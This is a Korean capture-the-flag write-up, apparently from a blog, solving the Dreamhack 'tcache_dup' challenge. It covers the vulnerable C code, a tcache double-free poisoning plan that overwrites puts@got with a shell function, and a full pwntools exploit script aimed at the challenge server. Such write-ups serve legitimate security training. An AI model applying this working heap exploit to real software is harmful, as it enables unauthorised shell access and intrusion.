tcache_dup 문제 풀이
1. 취약점 확인
checksec 명령어로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/doublefree/tcache/tcache_dup/tcache_dup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
x64 아키텍처에 Partial RELRO, Canary, Nx-bit 가 걸려있는 것을 확인할 수 있다
1. C코드 확인
int create(int cnt) {
int size;
if (cnt > 10) {
return -1;
}
printf("Size: ");
scanf("%d", &size);
ptr[cnt] = malloc(size);
if (!ptr[cnt]) {
return -1;
}
printf("Data: ");
read(0, ptr[cnt], size);
}
heap 을 할당하는 코드이다
size를 입력하면 size만큼 malloc을 할당하고 값을 입력받는다
int delete() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if (idx > 10) {
return -1;
}
free(ptr[idx]);
}
인덱스에 해당하는 청크를 삭제한다
void get_shell() {
system("/bin/sh");
}
shell 을 얻을 수 있는 get_shell 함수가 존재한다
2. 실행
double free 가 가능하다
2. 익스플로잇 구성
1. 공격 순서
- 크기 0x20만큼 청크를 하나 할당한다 (chunk0)
- 같은 청크(chunk0)를 두 번 free 한다 → tcache에 중복 삽입됨
- 첫 번째 malloc으로 chunk0을 재할당한다
- 이때 청크의 fd(=next pointer)에 puts@got 주소를 쓴다
- 두 번째 malloc으로 tcache의 next인 puts@got 주소가 리턴된다
- puts@got이 청크처럼 리턴됨
- 세 번째 malloc으로 puts@got 위치에 get_shell 주소를 덮어쓴다
2. 주소 구하기
get_shell 의 주소는 0x400ab0이다
3. Exploit
1. Exploit Code
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
p = remote('host3.dreamhack.games', 10605)
#p = process('./tcache_dup')
# lib = ELF('./libc-2.27.so')
e = ELF('./tcache_dup')
puts_got = e.got['puts']
get_shell = 0x400ab0
print(hex(puts_got))
print(hex(get_shell))
# create chunk0
p.sendlineafter('> ', '1')
p.sendlineafter('Size: ', b'20')
p.sendlineafter('Data: ', b'AAAA')
# free chunk
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '0')
# free chunk
p.sendlineafter('> ', '2')
p.sendlineafter('idx: ', '0')
# malloc puts_got
p.sendlineafter('> ', '1')
p.sendlineafter('Size: ', b'20')
p.sendlineafter('Data: ', p64(puts_got))
# malloc
p.sendlineafter('> ', '1')
p.sendlineafter('Size: ', b'20')
p.sendlineafter('Data: ', b'A' * 8)
# malloc get_shell
p.sendlineafter('> ', '1')
p.sendlineafter('Size: ', b'20')
p.sendlineafter('Data: ', p64(get_shell))
p.interactive()
'War Game > Pwnable' 카테고리의 다른 글
[Dreamhack] uaf_overwirte (0) | 2025.05.15 |
---|---|
[Dreamhack] send_sig (0) | 2025.03.26 |
[Dreamhack] off_by_one_000 (0) | 2025.03.18 |
[Dreamhack] off_by_one_001 (0) | 2025.03.17 |
[sschall] tutor_rop (0) | 2024.10.17 |